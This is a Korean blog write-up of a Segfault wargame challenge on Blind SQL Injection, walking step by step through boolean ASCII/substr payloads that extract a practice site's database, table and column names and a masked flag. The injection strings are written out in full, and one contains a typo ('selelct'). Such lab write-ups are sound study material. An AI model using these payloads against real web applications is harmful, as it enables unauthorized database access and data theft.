<Segfault> 워게임 문제풀이 [7편]-Blind SQL Injection

2024. 5. 31. 21:18·워게임 문제풀이/Segfault

<목표 : DB에 있는 flag 데이터를 찾아내라!>

->이번 문제는 Blind SQL Injection 을 연습하기 위한 목적이 강합니다.

 

-Blind SQLi 에 대한 기본적인 내용은 이 게시물을 참고하시면 됩니다.

https://jamesbexter.tistory.com/entry/SQL-InjectionSQLi

 

- 밑에 내용을 자동화 한 파이썬 코드 게시물은 해당 링크를 참조해주세요!

밑에 블라인드 SQLi 문제 파이썬으로 자동화 하는법

 

[Python] Python 을 이용한 SQLi 자동화

※주의 : 본 포스팅에서는 워게임중 SQL Injection 6 과 SQL Injection 3 내용을 담고있습니다! 지난 포스팅에서 Blind SQLi 덕분에 주화입마가 올뻔했다. 지난 포스팅 : https://jamesbexter.tistory.com/entry/Segfaul

jamesbexter.tistory.com


<1단계 : 탐색>

사이트에 접속하니 SQLi 연습 페이지가 뜬다.

기본적으로 SQLi 가 적용되는지 먼저 확인해보자

정상적인 입력

 

SQLi 구문 삽입

 

확인이 되었다.

이제 혹시 Error SQLi 가 사용가능한지 확인해보자.

 

넣어준 문구: normaltic' and extractvalue('1',(select database())) and '1'='1

 

입력을 하자 아예 존재하지 않는 아이디 인지도 안뜬다.

뭔가 오류가 났다는 뜻이다.

하지만 Error 창을 확인 하지못하는 것으로 봐선 Error SQLi 가 사용 불가능하다고 판단가능하다.

그러면 결국 우리는 Blind SQLi 를 해야한다.

 


<2단계 : Format 작성>

 

작성된 Format :    normaltic' and ((ASCII(substr((__SQL__),1,1)))>0) and '1'='1

 

이제 "__SQL__" 란에 우리가 쓰고싶은 SQL 질의문은 넣으면 된다!

그리고 아스키 코드 값 비교를 통해서 SELECT 문으로 추출된 결과를 유추해내면 된다!

 


<3단계 : DB명 추출>

 

SQL 질의문 : select database()

 

완성된 Format : normaltic' and ((ASCII(substr((select database()),1,1)))>0) and '1'='1

 

 

0 보다 비교해봤을때 존재하는것이라면 일단 db명이 추출되었다는 소리이다.

이제... 아스키코드 값으로 65~97 , 97~122 까지 값을 바꿔가면서.. db명을 추측하면 된다...

많은 노력끝에 DB명이 blindSqli 라는것을 알게되었다..

 


<4단계 :Table 명 추출>

SQL 질의문 : select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1

 

완성된 Format : normaltic' and ((ASCII(substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1),1,1)))>0) and '1'='1

 

이것또한 수많은 시간과 공을 들여

table 명 : flagTable , member ,plus_flagTable 이라는것을 알아냈다..

 


<5단계 : column 명 추출>

 

SQL 질의문 : select column_name from information_schema.columns where table_name='flagTable' limit 0,1

 

완성된 Format : normaltic' and ((ASCII(substr((select column_name from information_schema.columns where table_name='flagTable' limit 0,1),1,1)))>0) and '1'='1

 

마찬가지로 반복작업을 통해 column 명이 flag 라는것을 알수있었다.

 


<6단계 : 데이터 추출>

 

SQL 질의문 : selelct flag from flagTable limit 0,1

 

완성된 Format : normaltic' and ((ASCII(substr((selelct flag from flagTable limit 0,1),1,1)))>0) and '1'='1

 

여기서 시간이 매우많이 들었다.

flag 값 :   segfault{모자이크 처리~}

flag 값은 구했지만 flag 값을 하나하나 대입해보면서 구해야했다..


 

리뷰 : 글에선 드러나지 않았지만 심한 노가다를 했다.

대략 한시간동안 반복작업을 하다보니 목도 손목도 너무 아팠다.

당장 python 으로 자동화 툴을 만들어 볼 것이다.

모든 반복작업은 자동화가 될 수 있으므로 분명 가능할 것 이다....

 

'워게임 문제풀이 > Segfault' 카테고리의 다른 글

<Segfault> 워게임 문제풀이 [XSS 2]  (0) 2024.06.30
<Segfault> 워게임 문제풀이 [XSS 1]  (0) 2024.06.26
<Segfault> 워게임 문제풀이[6편] - SQL Injection3  (1) 2024.05.31
<Segfault> 워게임 문제풀이 [5편] - Secret Login  (1) 2024.05.22
<Segfault> 워게임 문제풀이 [4편] - Login Bypass 3  (0) 2024.05.21
'워게임 문제풀이/Segfault' 카테고리의 다른 글
  • <Segfault> 워게임 문제풀이 [XSS 2]
  • <Segfault> 워게임 문제풀이 [XSS 1]
  • <Segfault> 워게임 문제풀이[6편] - SQL Injection3
  • <Segfault> 워게임 문제풀이 [5편] - Secret Login
무너박사
무너박사
IT 보안 블로그 입니다. 제가 작성하는 블로그가 누군가의 공부에 조금이라도 도움이 되길 바라며 작성하였습니다.
  • 무너박사
    무너박사의 연구일지
    무너박사
  • 전체
    오늘
    어제
    • 분류 전체보기 (104)
      • WEB 지식 (3)
      • 웹해킹 (13)
      • 웹개발(PHP-Mysql) (12)
      • 웹개발(JSP-Oracle) (2)
      • 워게임 문제풀이 (19)
        • Segfault (17)
        • Dreamhack (2)
      • SQL (3)
      • Python (2)
      • AI (1)
        • LLM(Large Language Model) (1)
      • Kail Linux (3)
      • 잡다한 지식 (2)
      • 모바일 앱개발(Kotlin-PHP-Mysql) (13)
      • 모바일 앱해킹(Android) (31)
        • Frida Lab (2)
        • Android DIVA (8)
        • Insecure Bank (20)
      • 안드로이드 위협 탐지 및 우회 (0)
        • 루팅 탐지 & 우회 (0)
        • 디버깅 탐지 & 우회 (0)
        • 에뮬레이터 탐지 & 우회 (0)
        • Frida 탐지 & 우회 (0)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      리패키징
      인시큐어 뱅크
      Koltin
      해킹
      모바일 앱개발
      인시큐어뱅크
      취업반6기
      앱해킹
      Android Studio
      Blind sql injection
      Kotlin
      안드로이드 스튜디오
      칼리리눅스
      php
      모바일 앱해킹
      웹해킹
      mobile diva
      dom based xss
      취업반 6기
      XSS
      모의해킹
      모바일앱개발
      시스템해킹
      MySQL
      워게임
      android diva
      취업반
      insecure bank
      normaltic
      sql injection
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    무너박사
    <Segfault> 워게임 문제풀이 [7편]-Blind SQL Injection
    상단으로

    티스토리툴바